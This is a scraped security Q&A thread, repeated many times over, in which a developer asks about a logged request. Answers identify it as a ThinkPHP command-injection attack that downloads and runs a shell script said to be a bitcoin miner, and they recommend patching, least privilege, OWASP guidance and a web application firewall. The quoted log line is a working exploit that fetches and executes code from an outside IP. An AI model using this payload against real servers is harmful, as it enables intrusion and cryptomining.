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I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
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|
show 1 more comment
I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
15
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
I am a developer.
– user3718908
10 hours ago
1
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
1
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago
|
show 1 more comment
I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
I have very little experience with security (Still learning) however was combing through my logs and I noticed the following request:
"GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.
My question is what kind of attack is this and what steps can I take to prevent it?
linux
linux
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 20 hours ago
user3718908user3718908
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
asked 20 hours ago
user3718908user3718908
23625
asked 20 hours ago
user3718908user3718908
23625
23625
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
New contributor
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
user3718908 is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
15
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
I am a developer.
– user3718908
10 hours ago
1
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
1
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago
|
show 1 more comment
15
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
I am a developer.
– user3718908
10 hours ago
1
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
1
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago
15
15
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
I am a developer.
– user3718908
10 hours ago
I am a developer.
– user3718908
10 hours ago
1
1
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
1
1
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago
|
show 1 more comment
2 Answers
2
active
oldest
votes
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
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2 Answers
2
active
oldest
votes
2 Answers
2
active
oldest
votes
active
oldest
votes
active
oldest
votes
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
add a comment |
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
add a comment |
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
It's a command injection attack in which :
the goal is execution of arbitrary commands on the host
operating system via a vulnerable application. Command injection
attacks are possible when an application passes unsafe user supplied
data (forms, cookies, HTTP headers etc.) to a system shell. In this
attack, the attacker-supplied operating system commands are usually
executed with the privileges of the vulnerable application. Command
injection attacks are possible largely due to insufficient input
validation.
There are many strategies to mitigate or to avoid this kind of attacks you can find somes here and have a look at this cheatsheet from OWASP.
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
answered 20 hours ago
Soufiane TahiriSoufiane Tahiri
1,971619
1,971619
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
add a comment |
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
The easiest and maybe most important step from the first link is using 'least privilege'. Reducing the power of the application will blunt these kinds of attacks and many others.
– JimmyJames
7 hours ago
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
As stated before, it's a command injection attack that attempts to download a .sh script, grant it permissions to run and then execute it.
The script in this case is a bitcoin miner.
The recommendations in the OWASP guide that Soufiane should be followed to ensure your web application is secure, but for an extra layer of security a Web Application Firewall can be used which will block requests like these before they reach your server process.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
answered 19 hours ago
VeyfVeyf
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
answered 19 hours ago
VeyfVeyf
1512
answered 19 hours ago
VeyfVeyf
1512
1512
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
New contributor
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
Veyf is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.
add a comment |
add a comment |
user3718908 is a new contributor. Be nice, and check out our Code of Conduct.
user3718908 is a new contributor. Be nice, and check out our Code of Conduct.
user3718908 is a new contributor. Be nice, and check out our Code of Conduct.
user3718908 is a new contributor. Be nice, and check out our Code of Conduct.
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15
Specifically, the attacker is targetting ThinkPHP installations that suffer from the remote-code-execution vulnerability documented here. A security update has been released by ThinkPHP. Keep an eye on the inventory of software that you have exposed to the internet, and keep an eye out for vulerabilities found in these packages. In short, stay up to date. The attackers are usually exploiting old versions found to be vulerable.
– spender
17 hours ago
Are you 1) a developer or 2) a systems engineer / webmaster? Do you develop or run applications?
– usr-local-ΕΨΗΕΛΩΝ
11 hours ago
I am a developer.
– user3718908
10 hours ago
1
Applications are immune to these attacks by default - you have to actively screw up in order for the attack to work.
– immibis
7 hours ago
1
So if you're asking how to avoid this attack - unless you're running ThinkPHP, you're already not vulnerable. If you're asking how to avoid similar attacks on your own software - see the information linked by Soufiane.
– immibis
7 hours ago